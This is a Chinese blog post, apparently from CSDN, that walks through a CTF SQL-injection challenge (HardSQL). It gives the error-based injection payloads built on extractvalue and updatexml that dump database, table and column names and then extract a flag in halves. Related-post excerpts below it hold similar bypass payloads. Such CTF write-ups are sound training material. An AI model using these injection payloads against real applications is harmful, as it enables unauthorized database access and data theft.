[极客大挑战 2019]HardSQL1

最新推荐文章于 2024-09-26 01:10:05 发布
最新推荐文章于 2024-09-26 01:10:05 发布
阅读量552 收藏 5
点赞数 2
文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/kw741951/article/details/140856968
版权

拿到题目，好多类似的，这次估计更难，sql注入漏洞

随便注入一个

估计是被过滤了

2.1我们先去爆数据库：先构造payload:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23

爆表名

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

爆列名

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

flag出来了，但是只有一半，使用right和left

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

得到flag

worker..
关注
[极客大挑战 2019]HardSQL
xj28555的博客
09-02 245
进入题目，一个登录框。 测试了下万能密码登录，无果，有WAF拦截，那接下来就是绕过WAF。 先抓包用bp进行FUZZ，看看有那些没有被拦截的函数。通过手工FUZZ和bpFUZZ结合，发现过滤了and、= 空格 union等多个sql关键字。 发现有一些，报错注入的函数是没有被过滤的，那我们这题就可以通过报错注入来进行注入。 这里我们利用updatexml函数进行报错注入。 payload #查看数据库信息 http://2d43986a-ef4e
[极客大挑战 2019]HardSQL1 解题思路
xiyuanyue的博客
10-13 305
flag{d23142e7-2546-47c3-b238-de只返回一部分flag是因为updatexml 函数返回错误信息长度是112个字符，所以要对password 截取一部分，可以通过，substr left right函数做处理 ，substr函数已经禁止，就用right函数。2、尝试联合注入、时间盲注 发现 and union /**/ /*!2、关键字替换（空格替换，单引号替换，等号替换）；3、通过错误函数updatexml 获取数据库、表、字段。3、错误函数、时间盲注、条件盲注。
极客大挑战2019]EasySQL相关知识点整理笔记
最新发布
2401_86760082的博客
09-26 504
当用户名和密码都填写’or’=’or’时，这条SQL语句就变成了：sql=”select * from user where username=”or’ ‘=”and pass=”or’ ‘=” ，也就通过了程序的验证。有账号密码登陆的题，判断闭合方式，该数据库闭合方式为单引号'，尝试用万能账号密码解题万能账号密码原理1' or '1'='1'#构造一个or，1=1，构造出新的密码：‘or ‘1’=’1闭合程序中的SQL语句的后面的单引号。在密码的最前面有一个单引号，来闭合SQL语句中的单引号。
[极客大挑战 2019]HardSQL 1
bring_coco的博客
09-23 6305
报错注入有两个函数，这里我们使用updatexml(a,b,c)，此函数a，c必须为String类型，因此可以使a,c不为String型进行报错。得到id,username,password继续查询值。双写也被过滤掉了,同时空格，=，union也被过滤了。新知识：查不全时可用left(),right()经过一番查询知道right()查询后面部分。[极客大挑战 2019]HardSQL。1.尝试输入数字或字母，都显示以下结果。发现flag并没有完全显示。两种方式都显示一样字样。4.我们尝试报错注入。
极客大挑战2019Hardsql
uuzfumo的博客
11-06 414
SQL注入报错注入类型的相关题目，涉及一部分的绕过知识
[极客大挑战 2019] web题-HardSQL
BROTHERYY的博客
07-13 389
复现环境：buuoj.cn union被过滤了 ，会被他抓住，使用updatexml 得到表名 得到字段查询username和password 查询密码发现不能显示完全 使用left和right进行查询 left=flag{2b77bf01-867e-4b28-a801-0 right=4-be1d-4be4-bc1b-24069dfe9222} 拼凑得到flag flag{2b77bf01-867e-4b28-a801-04-be1d-4be4-bc1b-24069dfe9222} ...
BUUCTF——[极客大挑战 2019]HardSQL
doraemon12345的博客
06-01 275
打开题目，进行常规注入，发现都行不通，union、空格和and被过滤了，尝试extractvalue()报错注入可行，开始做题,建议做的时候可以先用burp抓包在里面做，在网页上做请先带好痛苦面具（有耐心的当我没说，嘿嘿）。 先爆库名： payload:?username=1&password=123'^extractvalue(1,concat(0x7e,(select(database()))))%23 得到库名爆表名： payload:?username=1&password=12
[极客大挑战 2019]HardSQL 1(报错注入)
aaum556的博客
07-16 250
得到一半的flag：flag{62f71bc2-4189-48c7-a2c2-8b。order by查字段，union，堆叠注入，和输入数字都烦返回错误。输入1’,出错，1’#显示不同，存在单引号闭合注入。得到 id,username,password字段。得到后面缺少的flag为：322f9778f3}。mid被过滤了，right可以使用。=，空格，和好多关键字都被过滤了。空格用()绕过，=用like绕过。注：0x7e 是~符号的十六进制。空格被过滤，用()绕过，因此构造。
极客大挑战 2019]LoveSQL 1
08-24
LoveSQL 1是极客大挑战2019的一个题目，它是一个关于 SQL 查询语言的挑战。具体来说，LoveSQL 1要求参赛者编写一个 SQL 查询，从给定的表中获取满足特定条件的数据。这个挑战旨在考察参赛者对 SQL 语法和查询的理解...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值